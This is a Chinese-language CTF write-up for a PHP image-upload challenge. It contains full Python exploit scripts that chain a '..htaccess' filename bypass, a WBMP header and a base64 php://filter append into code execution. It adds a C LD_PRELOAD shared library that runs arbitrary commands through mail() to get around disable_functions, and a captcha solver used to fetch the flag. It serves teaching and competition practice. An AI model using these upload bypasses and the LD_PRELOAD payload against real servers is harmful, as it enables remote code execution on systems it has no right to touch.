源码
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));
session_start();
if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
if (empty($parts[0])) {
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
?>
<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->
题解-上传shell
这道题目是允许我们上传文件,但是所有php文件的后缀都被过滤了,
- 如果文件名是通过get或post获取的,可采用php\n的方式绕过
- 如果存在.htaccess可以通过上传.htaccess达到其他后缀的效果
- 如果获取文件后缀的方式有问题,可以通过php/. 方式绕过,但是此种发放也行不通,
wushell.php/.
的时候$name = $_FILES["image"]["name"]
只能为.
,后来又测试了一下通过$_FILES
获取的文件名不能包含/
,他会取最后一个/后面的内容。
这儿我们直接上传.htaccess
,但是很.htaccess
的文件名比较特殊,这儿需要绕过
根据源码我们发现这句话
array_shift($parts);
array_shift
是删除数组的第一个元素并返回新的数组代替原来的数组,所以我们只需要让上传的文件名为..htaccess
就可以轻松绕过了~~
文件内容不能包含<?,我们查看了一下php版本,是php7,所以无法用<script lanague='php'>
绕过,我们只好看能不能利用编码绕过了
.htaccess还真的支持这个
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
剩下最后一个内容就是绕过exif_imagetype
的检查,这儿是检查文件头的,根据网上的文章,wbmp
的格式也支持这个函数,而且这个文件的magic number
的开头是\x00
,而经过fuzz,我们也发现.htaccess也能当作注释符号~~
最后的脚本为(参考师傅的)
#!/usr/bin/env python3
import requests
import base64
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"
COOKIES = {
"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"}
def upload_content(name, content):
data = {
"image" : (name, content, 'image/png'),
"upload" : (None, "Submit Query", None)
}
response = requests.post(URL, files=data, cookies=COOKIES)
HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
var_dump("works");
?>
""")
upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik")
print(response.text)
绕过disable_function
看了一下phpinfo,没办法使用系统函数,但是没有过滤putenv
函数
第一步,编译eval.c
生成evil.so
gcc -Wall -fPIC -shared -o evil.so evil.c -ldl
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>#include <stdio.h>#include <string.h>
void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
strcat(buf, " > /tmp/_0utput.txt");
system(buf);}
int getuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return 1;
}
第二步 上传`evil.so`
#!/usr/bin/env python3
import requestsimport base64
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"
COOKIES = {
"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"}
def upload_content(name, content):
data = {
"image" : (name, content, 'image/png'),
"upload" : (None, "Submit Query", None)
}
response = requests.post(URL, files=data, cookies=COOKIES)
HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=uname -a");
mail('a','a','a');
echo file_get_contents('/tmp/_0utput.txt');
?>
""")
upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)
files = { "evil" : open("../payloads/evil.so", "rb") }
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)
能触发LD
的函数
- mb_send_mail
- exec
- system
- passthru
- shell_exec
- error_log
- mail(‘a’,‘a’,‘a’)
- gnupg_init()
- imap_mail
- pcntl_exec
- new gnupg()
第三步 解验证码
编译 gcc -o captcha_solver captcha_solver.c
#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
int main() {
pid_t pid = 0;
int inpipefd[2];
int outpipefd[2];
pipe(inpipefd);
pipe(outpipefd);
pid = fork();
if (pid == 0) {
dup2(outpipefd[0], STDIN_FILENO);
dup2(inpipefd[1], STDOUT_FILENO);
dup2(inpipefd[1], STDERR_FILENO);
prctl(PR_SET_PDEATHSIG, SIGTERM);
execl("/get_flag", "get_flag", (char*) NULL);
exit(1);
}
close(outpipefd[0]);
close(inpipefd[1]);
char data[0xff] = {0};
// Read first line
for (; data[0] != '\n'; read(inpipefd[0], data, 1));
// Read captcha
read(inpipefd[0], data, 0xff);
uint64_t sum = 0;
char *pch;
printf("Raw : %s\n", data);
pch = strtok (data, "+");
printf("Sum : %lu\n", sum);
while (pch != 0) {
sum += strtoull(pch, 0, 10);
printf("Operand : %lu\n", atol(pch));
printf("Sum : %lu\n", sum);
pch = strtok (0, "+");
}
char result[32] = {0};
sprintf(result, "%lu\n", sum);
printf("Result : %lu\n", sum);
write(outpipefd[1], result, 16);
memset(data, 0, 0xff);
read(inpipefd[0], data, 0xff);
printf("Final : %s", data);
}
第四步 上传编译好的c文件,并且执行c
#!/usr/bin/env python3
import requests
import base64
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://98593d39-9994-4cdb-9a23-b1e489771703.node3.buuoj.cn"
RANDOM_DIRECTORY = "fc7d09ba57327537aa7cd6394979b53995aaa596"
COOKIES = {
"PHPSESSID" : "WWW"}
def upload_content(name, content):
data = {
"image" : (name, content, 'image/png'),
"upload" : (None, "Submit Query", None)
}
response = requests.post(URL, files=data, cookies=COOKIES)
HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
move_uploaded_file($_FILES['captcha_solver']['tmp_name'], '/tmp/solver');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=chmod 777 /tmp/solver");
mail('a','a','a');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=cd / && /tmp/solver");
mail('a','a','a');
echo file_get_contents('/tmp/_0utput.txt');
?>
""")
upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)
files = { "evil" : open("evil.so", "rb"),
"captcha_solver": open("captcha_solver", "rb")}
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)
参考链接
我写的可能不是很详细,贴一下师傅的链接
链接